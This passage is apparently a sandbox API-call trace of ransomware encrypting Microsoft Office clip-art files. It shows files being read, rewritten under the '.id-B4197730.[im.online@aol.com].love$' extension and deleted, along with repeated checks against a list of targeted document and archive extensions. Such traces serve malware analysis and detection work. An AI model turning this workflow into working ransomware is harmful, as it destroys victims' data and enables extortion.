[0243.178] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xe04, lpOverlapped=0x0) returned 1 [0243.180] WriteFile (in: hFile=0x544, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xe10, lpOverlapped=0x0) returned 1 [0243.181] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.181] WriteFile (in: hFile=0x544, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.182] SetEndOfFile (hFile=0x544) returned 1 [0243.182] CloseHandle (hObject=0x544) returned 1 [0243.182] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.182] SetEndOfFile (hFile=0x534) returned 1 [0243.185] CloseHandle (hObject=0x534) returned 1 [0243.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 1 [0243.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0243.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0243.187] lstrlenW (lpString=".doc") returned 4 [0243.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.187] lstrlenW (lpString=".docx") returned 5 [0243.187] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.187] lstrlenW (lpString=".pdf") returned 4 [0243.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.187] lstrlenW (lpString=".xls") returned 4 [0243.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.187] lstrlenW (lpString=".xlsx") returned 5 [0243.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.187] lstrlenW (lpString=".ppt") returned 4 [0243.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0243.187] lstrlenW (lpString=".zip") returned 4 [0243.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.187] lstrlenW (lpString=".rar") returned 4 [0243.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.187] lstrlenW (lpString=".bz2") returned 4 [0243.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.187] lstrlenW (lpString=".7z") returned 3 [0243.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0243.187] lstrlenW (lpString=".dbf") returned 4 [0243.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0243.188] lstrlenW (lpString=".1cd") returned 4 [0243.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0243.188] lstrlenW (lpString=".jpg") returned 4 [0243.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0243.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0243.188] lstrlenW (lpString=".doc") returned 4 [0243.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.188] lstrlenW (lpString=".docx") returned 5 [0243.188] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.188] lstrlenW (lpString=".pdf") returned 4 [0243.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.188] lstrlenW (lpString=".xls") returned 4 [0243.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.188] lstrlenW (lpString=".xlsx") returned 5 [0243.188] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.188] lstrlenW (lpString=".ppt") returned 4 [0243.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0243.188] lstrlenW (lpString=".zip") returned 4 [0243.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.188] lstrlenW (lpString=".rar") returned 4 [0243.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.188] lstrlenW (lpString=".bz2") returned 4 [0243.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.188] lstrlenW (lpString=".7z") returned 3 [0243.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0243.188] lstrlenW (lpString=".dbf") returned 4 [0243.189] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0243.189] lstrlenW (lpString=".1cd") returned 4 [0243.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0243.189] lstrlenW (lpString=".jpg") returned 4 [0243.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.189] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.189] lstrlenW (lpString="DD01160_.WMF") returned 12 [0243.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0243.190] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=2228) returned 1 [0243.191] CloseHandle (hObject=0x534) returned 1 [0243.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x220 [0243.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0243.191] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.191] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0243.192] GetLastError () returned 0x0 [0243.192] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x8b4, lpOverlapped=0x0) returned 1 [0243.194] WriteFile (in: hFile=0x544, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0243.195] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.195] WriteFile (in: hFile=0x544, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.195] SetEndOfFile (hFile=0x544) returned 1 [0243.196] CloseHandle (hObject=0x544) returned 1 [0243.196] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.196] SetEndOfFile (hFile=0x534) returned 1 [0243.198] CloseHandle (hObject=0x534) returned 1 [0243.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.199] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 1 [0243.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0243.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0243.200] lstrlenW (lpString=".doc") returned 4 [0243.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.200] lstrlenW (lpString=".docx") returned 5 [0243.200] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.200] lstrlenW (lpString=".pdf") returned 4 [0243.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.200] lstrlenW (lpString=".xls") returned 4 [0243.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.200] lstrlenW (lpString=".xlsx") returned 5 [0243.200] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.200] lstrlenW (lpString=".ppt") returned 4 [0243.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0243.200] lstrlenW (lpString=".zip") returned 4 [0243.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.200] lstrlenW (lpString=".rar") returned 4 [0243.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.200] lstrlenW (lpString=".bz2") returned 4 [0243.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.200] lstrlenW (lpString=".7z") returned 3 [0243.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0243.200] lstrlenW (lpString=".dbf") returned 4 [0243.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0243.200] lstrlenW (lpString=".1cd") returned 4 [0243.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0243.200] lstrlenW (lpString=".jpg") returned 4 [0243.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0243.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0243.201] lstrlenW (lpString=".doc") returned 4 [0243.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.201] lstrlenW (lpString=".docx") returned 5 [0243.201] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.201] lstrlenW (lpString=".pdf") returned 4 [0243.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.201] lstrlenW (lpString=".xls") returned 4 [0243.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.201] lstrlenW (lpString=".xlsx") returned 5 [0243.201] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.201] lstrlenW (lpString=".ppt") returned 4 [0243.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0243.201] lstrlenW (lpString=".zip") returned 4 [0243.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.201] lstrlenW (lpString=".rar") returned 4 [0243.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.201] lstrlenW (lpString=".bz2") returned 4 [0243.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.201] lstrlenW (lpString=".7z") returned 3 [0243.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0243.201] lstrlenW (lpString=".dbf") returned 4 [0243.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0243.201] lstrlenW (lpString=".1cd") returned 4 [0243.201] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0243.201] lstrlenW (lpString=".jpg") returned 4 [0243.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.202] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.202] lstrlenW (lpString="DD01162_.WMF") returned 12 [0243.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0243.203] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=2300) returned 1 [0243.203] CloseHandle (hObject=0x534) returned 1 [0243.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x220 [0243.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0243.204] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.204] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0243.205] GetLastError () returned 0x0 [0243.205] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0243.419] WriteFile (in: hFile=0x544, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x900, lpOverlapped=0x0) returned 1 [0243.421] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.421] WriteFile (in: hFile=0x544, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.421] SetEndOfFile (hFile=0x544) returned 1 [0243.421] CloseHandle (hObject=0x544) returned 1 [0243.421] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.421] SetEndOfFile (hFile=0x534) returned 1 [0243.427] CloseHandle (hObject=0x534) returned 1 [0243.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 1 [0243.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0243.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0243.974] lstrlenW (lpString=".doc") returned 4 [0243.974] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.974] lstrlenW (lpString=".docx") returned 5 [0243.974] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.974] lstrlenW (lpString=".pdf") returned 4 [0243.974] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.974] lstrlenW (lpString=".xls") returned 4 [0243.974] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.974] lstrlenW (lpString=".xlsx") returned 5 [0243.974] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.974] lstrlenW (lpString=".ppt") returned 4 [0243.974] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0243.974] lstrlenW (lpString=".zip") returned 4 [0243.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.974] lstrlenW (lpString=".rar") returned 4 [0243.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.974] lstrlenW (lpString=".bz2") returned 4 [0243.974] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.974] lstrlenW (lpString=".7z") returned 3 [0243.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0243.974] lstrlenW (lpString=".dbf") returned 4 [0243.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0243.974] lstrlenW (lpString=".1cd") returned 4 [0243.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0243.975] lstrlenW (lpString=".jpg") returned 4 [0243.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0243.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0243.975] lstrlenW (lpString=".doc") returned 4 [0243.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.975] lstrlenW (lpString=".docx") returned 5 [0243.975] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.975] lstrlenW (lpString=".pdf") returned 4 [0243.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.975] lstrlenW (lpString=".xls") returned 4 [0243.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.975] lstrlenW (lpString=".xlsx") returned 5 [0243.975] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.975] lstrlenW (lpString=".ppt") returned 4 [0243.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0243.975] lstrlenW (lpString=".zip") returned 4 [0243.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.975] lstrlenW (lpString=".rar") returned 4 [0243.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.975] lstrlenW (lpString=".bz2") returned 4 [0243.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.975] lstrlenW (lpString=".7z") returned 3 [0243.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0243.976] lstrlenW (lpString=".dbf") returned 4 [0243.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0243.976] lstrlenW (lpString=".1cd") returned 4 [0243.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0243.976] lstrlenW (lpString=".jpg") returned 4 [0243.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.976] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.976] lstrlenW (lpString="DD01183_.WMF") returned 12 [0243.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0243.977] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=2296) returned 1 [0243.977] CloseHandle (hObject=0x53c) returned 1 [0243.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x220 [0243.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0243.978] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.978] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0243.979] GetLastError () returned 0x0 [0243.979] ReadFile (in: hFile=0x53c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x8f8, lpOverlapped=0x0) returned 1 [0243.981] WriteFile (in: hFile=0x45c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x900, lpOverlapped=0x0) returned 1 [0243.983] ReadFile (in: hFile=0x53c, lpBuffer=0x3b98020, 